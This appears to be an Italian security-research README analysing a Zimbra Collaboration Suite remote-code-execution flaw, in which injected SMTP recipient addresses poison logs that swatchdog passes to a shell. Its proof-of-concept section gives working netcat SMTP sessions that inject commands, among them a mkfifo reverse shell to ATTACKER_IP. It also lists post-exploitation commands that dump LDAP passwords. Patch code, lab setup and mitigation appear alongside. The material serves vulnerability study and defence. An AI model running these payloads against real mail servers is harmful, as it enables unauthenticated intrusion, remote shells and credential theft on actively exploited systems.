
Zimbra Collaboration Suite RCE — Avvelenamento dei log SMTP → swatchdog → Iniezione di comandi nel sistema operativo (CVSS 8.9, CISA KEV)
Nota: Questo repository contiene un'analisi tecnica indipendente e una riproduzione PoC di CVE-2026-73570. Non è il report originale della vulnerabilità.
Zimbra Collaboration Suite RCE — Avvelenamento log SMTP → swatchdog → Iniezione di comandi OS (CVSS 8.9, CISA KEV)
Tipo: Iniezione di comandi OS → RCE non autenticata
Vettore: Avvelenamento log SMTP → swatchdog → espansione shell in forma stringa dosnmp
Interessati: Zimbra Collaboration Suite 10.x (< 10.1.20)
CVSS: 8.9 (Critico)
CISA KEV: Sì — confermato sfruttamento attivo (~270 istanze compromesse ad agosto 2026)
Patch: Zimbra 10.1.20 (rilasciata il 2026-07-20)
La vulnerabilità risiede in /opt/zimbra/conf/swatchrc.in, all'interno della funzione dosnmp responsabile dell'invio delle notifiche trap SNMP quando un servizio Zimbra cambia stato.
Codice vulnerabile (Zimbra 10.1.1–10.1.19) — chiamata system() in forma stringa:
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
# FORMA STRINGA: /bin/sh -c "...". $args{SERVICE} viene espanso nella shell senza sanitizzazione.
system("$snmptrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}");
}
Codice corretto (Zimbra 10.1.20) — system() in forma lista, nessuna shell invocata:
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
# FORMA LISTA: exec() diretto, la shell non viene mai invocata.
system("/opt/zimbra/common/bin/snmptrap", "-v", "2c", "-c", "zimbra",
$traphost, "", $snmpsvctrap, $snmpsvcname, "s",
$args{SERVICE}, $snmpsvcstatus, "i", $statuses{$args{STATUS}});
}
La correzione è una modifica di una riga: passare una lista a system() invece di una stringa bypassa completamente l'interpretazione della shell.
---
Catena di sfruttamento
Attaccante (Kali)
│
│ SMTP RCPT TO:
│ <"x: Service status change: localhost $(cmd) changed from stopped to running"@target>
▼
Postfix/smtpd (server Zimbra, porta 25)
│ Accetta RCPT TO e lo registra in /var/log/zimbra.log
▼
swatchdog (processo zimbra, monitora /var/log/zimbra.log)
│ Pattern: /: Service status change: (\S+) (.*) changed from stopped to running/
│ Cattura: $1 = "localhost", $2 = "$(cmd)"
│ Chiama: donotify(SERVICE="$(cmd)", ...)
▼
dosnmp → system("$snmptrap ... s $(cmd) ...")
│ /bin/sh -c espande $(cmd) → esegue il comando
▼
RCE come utente "zimbra" (uid=998, gid=999)
Intuizione chiave: Postfix accetta e registra RCPT TO con parti locali tra virgolette verbatim — vettore affidabile di avvelenamento log.
---
Proof of Concept
PoC di base — scrivere un file
nc <target> 25
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@target.com>
DATA
.
QUIT
Risultato: /tmp/pwned_rce contiene uid=998(zimbra) gid=999(zimbra)
Reverse Shell
nc -lvnp 4444
nc <target> 25 <<EOF
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f) changed from stopped to running"@target.com>
DATA
.
QUIT
EOF
---
Configurazione del laboratorio
Requisiti
- VirtualBox, Ubuntu Server 22.04 LTS, Zimbra 10.1.0
Rete
Attaccante (Kali): 10.0.2.15
Vittima (Ubuntu): 10.0.2.22 (mail.lab.local)
Rete NAT VirtualBox: 10.0.2.0/24
Riproduzione della condizione vulnerabile
cp /opt/zimbra/conf/swatchrc.in /opt/zimbra/conf/swatchrc.in.bak
vi /opt/zimbra/conf/swatchrc.in # applicare la chiamata system() in forma stringa
PERL5LIB=/opt/zimbra/common/lib/perl5 \
/opt/zimbra/common/bin/swatchdog \
-c /opt/zimbra/conf/swatchrc \
-t /var/log/zimbra.log &
---
Post-Exploitation
/opt/zimbra/bin/zmlocalconfig -s zimbra_ldap_password
/opt/zimbra/bin/zmlocalconfig -s ldap_root_password
---
Mitigazione
- Patch: Aggiornare a Zimbra 10.1.20 o successivo.
- Workaround: zmlocalconfig -e snmp_notify=no && zmconfigdctl restart
---
Riferimenti
- NVD — CVE-2026-73570 (https://nvd.nist.gov/vuln/detail/CVE-2026-73570)
- Catalogo CISA KEV (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Advisory di sicurezza Zimbra (https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories)
---
Disclaimer
Questo repository è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza autorizzata.
Non utilizzarlo contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta per il test.